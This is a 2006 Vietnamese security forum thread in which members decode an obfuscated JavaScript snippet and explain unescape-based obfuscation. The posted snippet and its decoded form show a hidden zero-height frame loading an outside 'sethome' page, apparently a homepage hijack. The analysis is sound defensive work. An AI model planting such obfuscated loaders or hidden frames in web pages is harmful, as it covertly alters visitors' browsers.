banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows nhờ giải đoạn mã web..........  XML
  [Programming]   nhờ giải đoạn mã web.......... 02/09/2006 02:47:35 (+0700) | #1 | 19957
[Avatar]
nguyendaccuong
Member

[Minus]    0    [Plus]
Joined: 01/09/2006 15:38:53
Messages: 18
Location: bac ninh
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!]
nhờ mọi người giả hộ đoạn mã này cái....thank

Code:
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Diunm%264F%261E%261B%261E%261B%264Difbe%264F%261E%261B%264Dujumf%264Fiuuq%264B002ljtt/nf/mz%264D0ujumf%264F%261E%261B%264Dnfub%2631obnf%264E%2633HFOFSBUPS%2633%2631dpoufou%264E%2633Njdsptpgu%2631GspouQbhf%26315/1%2633%264F%261E%261B%264Dnfub%2631obnf%264E%2633QsphJe%2633%2631dpoufou%264E%2633GspouQbhf/Fejups/Epdvnfou%2633%264F%261E%261B%264D0ifbe%264F%261E%261B%261E%261B%264Dgsbnftfu%2631spxt%264E%26331%263D+%263D36%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633upq%2633%2631tsd%264E%2633iuuq%264B00ubphjfunbz92/u46/dpn0nfnbz0tfuipnf3/btq%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633njeemf%2633%2631tsd%264E%2633//0NVTJD0OibdUsf0oibdusf/uyu%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633cpuupn%2633%2631tsd%264E%2633cpuupn/iun%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dopgsbnft%264F%261E%261B%2631%2631%264Dcpez%264F%261E%261B%261E%261B%2631%2631%264Dq%264Fiuuq%264B002ljtt/nf/mz%264D0q%264F%261E%261B%261E%261B%2631%2631%264D0cpez%264F%261E%261B%2631%2631%264D0opgsbnft%264F%261E%261B%264D0gsbnftfu%264F%261E%261B%261E%261B%264D0iunm%264F%261E%261B1')</script>
nguyendaccuong
Nguyễn Đắc Cường
TNHH Việt Nhật
http://vina-star.com
thang máy
máy cột đai
máy phun vữa
thiết bị điện
0979907187
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 02/09/2006 07:21:49 (+0700) | #2 | 20042
[Avatar]
hakuso
HVA Friend

Joined: 04/01/2004 13:28:06
Messages: 287
Location: làng Đo Đo
Offline
[Profile] [PM]

Bồ làm thế này sẽ hiểu. Tạo 1 file html với nội dung sau

<html><body><script>
alert(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%
3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69
%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%7
3%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%
65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B
%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%
3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%4
3%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%4
1%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%
67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77
%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3
C%2F%73%63%72%69%70%74%3E'));
</script></body></html> 


Khi mở file html lên sẽ thấy thông báo hiện ra nội dung 1 của hàm js tên là dF. Theo tui nghĩ hàm đó sẽ giải mã chuỗi tham số mà nó nhận được rồi in ra trang web

Nếu muốn biết hàm dF nhận vô chuỗi gì thì dùng mã html sau

<html><body><script>
alert(unescape('%264Diunm%264F%261E%261B%261E%261B%264Difbe%264F%261E%261B%264Dujumf%264Fiuuq%264B002ljtt/nf/mz%264D0ujumf%264F%261E%261B%264Dnfub%2631obnf%264E%2633HFOFSBUPS%2633%2631dpoufou%264E%2633Njdsptpgu%2631GspouQbhf%26315/1%2633%264F%261E%261B%264Dnfub%2631obnf%264E%2633QsphJe%2633%2631dpoufou%264E%2633GspouQbhf/Fejups/Epdvnfou%2633%264F%261E%261B
%264D0ifbe%264F%261E%261B%261E%261B%264Dgsbnftfu%2631spxt%264E%26331
%263D+%263D36%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264
E%2633upq%2633%2631tsd%264E%2633iuuq%264B00ubphjfunbz92/u46/dpn0nfnbz0tfuipnf
3/btq%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%2
64E%26331%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%263
3njeemf%2633%2631tsd%264E%2633//0NVTJD0OibdUsf0oibdusf/uyu%2633%264F%261
E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633cpuupn%2633%2631tsd%264E
%2633cpuupn/iun%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631g
sbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dopgsbnft%264F
%261E%261B%2631%2631%264Dcpez%264F%261E%261B%261E%261B%2631%2631
%264Dq%264Fiuuq%264B002ljtt/nf/mz%264D0q%264F%261E%261B%261E%261B%263
1%2631%264D0cpez%264F%261E%261B%2631%2631%264D0opgsbnft%264F%261E%2
61B%264D0gsbnftfu%264F%261E%261B%261E%261B%264D0iunm%264F%261E%261
B1'));
</script></body></html> 
Live, fight, work and study
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 02/09/2006 12:47:14 (+0700) | #3 | 20119
[Avatar]
Thomas_Black
Member

[Minus]    0    [Plus]
Joined: 14/07/2006 23:59:35
Messages: 51
Offline
[Profile] [PM]
Thực chất đây chẳng phải đoạn script có ý nghĩa chi cả mà chỉ là một đoạn phá hoại loại xoàng mà thôi, bác nào dùng IE thì phải cẩn thận vì dễ treo máy.
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 04/09/2006 05:45:35 (+0700) | #4 | 20439
[Avatar]
havythoai
HVA Friend

Joined: 05/04/2004 22:59:39
Messages: 562
Offline
[Profile] [PM] [WWW]
Đây là 1 đoạn Javascript đùng để dấu link nhạc, dấu source các bạn có thể vào Edit~~. View source trang nghe nhạc này, rồi biết ...

http://tamlinh.net/nhac/999doahoahong.shtml

Khi nghe bài hát trên thì chức năng copy bị vô hiệu hoá,
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 04/09/2006 08:38:14 (+0700) | #5 | 20469
[Avatar]
Thomas_Black
Member

[Minus]    0    [Plus]
Joined: 14/07/2006 23:59:35
Messages: 51
Offline
[Profile] [PM]
Vậy à, em không biết, bác thông cảm vì trước đây em bị dính kiểu này một lần rồi.
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 08/09/2006 20:48:18 (+0700) | #6 | 21752
[Avatar]
blackhold_vn
Member

[Minus]    0    [Plus]
Joined: 17/11/2003 08:53:25
Messages: 11
Offline
[Profile] [PM]
Đây ko phải là đoạn code phá hoại mà là đoạn code mã hoá các câu lệnh, đường link do javascript làm.

Trước tui cũng có đoạn code java để làm nd trên site khi view source ra có nội dung như trên, nhưng lâu ko dùng nên ko nhớ nó ở đâu smilie

[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 09/09/2006 07:15:54 (+0700) | #7 | 21920
[Avatar]
phamquoc_truong
Elite Member

[Minus]    0    [Plus]
Joined: 04/04/2004 07:54:12
Messages: 79
Location: PeaceWorld
Offline
[Profile] [PM]
Đoạn thứ nhất :
Code:
<script>
document.write('<textarea cols=40 rows=40>');
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));
</script>

Kết quả :
Code:
<script language="javascript">
function dF(s)
{
var s1=unescape(s.substr(0,s.length-1)); 
var t='';
for(i=0;i<s1.length;i++)
t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
document.write(unescape(t));
}
</script>


Cái tiếp theo :
Code:
<script language="javascript">
function dF(s)
{
	var s1=unescape(s.substr(0,s.length-1));
	var t='';
	for(i=0;i<s1.length;i++)
	t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
	document.write(unescape(t));
}
document.write('<textarea cols=40 rows=40>');
dF('%264Diunm%264F%261E%261B%261E%261B%264Difbe%264F%261E%261B%264Dujumf%264Fiuuq%264B002ljtt/nf/mz%264D0ujumf%264F%261E%261B%264Dnfub%2631obnf%264E%2633HFOFSBUPS%2633%2631dpoufou%264E%2633Njdsptpgu%2631GspouQbhf%26315/1%2633%264F%261E%261B%264Dnfub%2631obnf%264E%2633QsphJe%2633%2631dpoufou%264E%2633GspouQbhf/Fejups/Epdvnfou%2633%264F%261E%261B%264D0ifbe%264F%261E%261B%261E%261B%264Dgsbnftfu%2631spxt%264E%26331%263D+%263D36%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633upq%2633%2631tsd%264E%2633iuuq%264B00ubphjfunbz92/u46/dpn0nfnbz0tfuipnf3/btq%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633njeemf%2633%2631tsd%264E%2633//0NVTJD0OibdUsf0oibdusf/uyu%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633cpuupn%2633%2631tsd%264E%2633cpuupn/iun%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dopgsbnft%264F%261E%261B%2631%2631%264Dcpez%264F%261E%261B%261E%261B%2631%2631%264Dq%264Fiuuq%264B002ljtt/nf/mz%264D0q%264F%261E%261B%261E%261B%2631%2631%264D0cpez%264F%261E%261B%2631%2631%264D0opgsbnft%264F%261E%261B%264D0gsbnftfu%264F%261E%261B%261E%261B%264D0iunm%264F%261E%261B1');
</script>

kết quả :
Code:
<html>

<head>
<title>http://1kiss.me.ly</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
</head>

<frameset rows="0,*,25">
  <frame name="top" src="http://taogietmay81.t35.com/memay/sethome2.asp" scrolling="no" noresize frameboder="0">
  <frame name="middle" src="../MUSIC/NhacTre/nhactre.txt">
  <frame name="bottom" src="bottom.htm" scrolling="no" noresize frameboder="0">
  <noframes>
  <body>

  <p>http://1kiss.me.ly</p>

  </body>
  </noframes>
</frameset>

</html>


hic hic ! hy vọng sẽ không có câu hỏi tương tự như thế này một lần nữa !
[Up] [Print Copy]
  [Question]   Re: nhờ giải đoạn mã web.......... 09/09/2006 07:25:48 (+0700) | #8 | 21922
samket
Member

[Minus]    0    [Plus]
Joined: 27/07/2006 15:04:24
Messages: 2
Offline
[Profile] [PM]
các bác nói sao chứ tui chẳng hiểu chi cả. Thử bằng html mà đâu có ra code trước khi mã hoá đâu.Mong các bác chỉ chi tiết chút cho em nhờ :cry:
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 18/09/2006 06:20:26 (+0700) | #9 | 24046
babychat
Member

[Minus]    0    [Plus]
Joined: 13/09/2006 14:40:51
Messages: 5
Offline
[Profile] [PM]
bác QuocTruong làm sao dịch duoc đoạn script đó vậy, chỉ tui đi
cám ơn
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 19/09/2006 03:04:19 (+0700) | #10 | 24186
ngonchan
Elite Member

[Minus]    0    [Plus]
Joined: 23/02/2004 12:03:51
Messages: 136
Offline
[Profile] [PM] [WWW] [Yahoo!]

babychat wrote:
bác QuocTruong làm sao dịch duoc đoạn script đó vậy, chỉ tui đi
cám ơn 


Dùng hàm alert() như hakuso là nó sẽ fun ra sạch thui.
[Up] [Print Copy]
  [Question]   nhờ giải đoạn mã web.......... 19/09/2006 10:04:03 (+0700) | #11 | 24280
[Avatar]
learn2hack
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 16:32:37
Messages: 825
Offline
[Profile] [PM] [WWW]
Bạn để ý đoạn code sẽ thấy
Code:
document.write(unescape('...'));

Hàm document.write là dùng để viết ra màn hình. Cái nó viết ra chính là unescape('...').
Hàm unescape() này đi cùng 1 cặp với hàm escape(). Hàm escape(s) sẽ mã hoá những ký tự đặc biệt trong xâu s thành dạng mã ASCII của nó, và hiển thị nó có dạng %xx với xx là mã ASCII. Còn hàm unescape(s) thì làm ngược lại, nó sẽ giải mã ngược lại những xâu có dạng %xx thành mã ký tự tương ứng.
Thường nếu chỉ đơn giản dùng escape() thì không phải tất cả các ký tự đều bị mã hoá hết, mà chỉ có một số ký tự đặc biệt được mã hoá thôi. Nhưng nếu để xâu mã hoá này thì sẽ dễ bị nhận ra, bởi vì người khác sẽ nhìn thấy các ký tự thông thường. Vì vậy một số người tự mã hoá (bằng tay hoặc công cụ khác) tất cả các ký tự trong xâu đó, và kết quả là có 1 chuỗi quái dị như trên.
Để giải mã nó, chúng ta chỉ cần dùng hàm unescape() là được.

Nhưng không thể hiện nó ra 1 trang html bình thường được, vì nó sẽ có định dạng 1 trang html, và khi hiện ra thì nó sẽ hiện nội dung của trang đó chứ không phải code của nó.
Để giải quyết vấn đề này, có thể làm bằng 2 cách:

1. Dùng hàm alert() để thông báo code đó ra.
Soạn thảo 1 trang html như sau:
Code:
<html>
<head>
</head>
<body>
    <script language="javascript">
        alert(unescape('...')); //hãy thay dấu 3 chấm này bằng xâu đã bị mã hoá
    </script>
</body>
</html>


2. Dùng 1 form và ghi code vào form đó:
Soạn thảo 1 trang html như sau:

Code:
<html>
<head>
</head>
<body>
    <form name="a">
        <textarea name="b" cols="100" rows="20">
        </textarea>
    </form>
    <script language="javascript">
        document.a.b.value = unescape('...'); //hãy thay dấu 3 chấm này bằng xâu đã bị mã hoá
    </script>
</body>
</html>


Chúc các bạn vui vẻ.
Blog: http://hontap.blogspot.com
Tải phần mềm miễn phí: http://www.taiphanmem.org
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|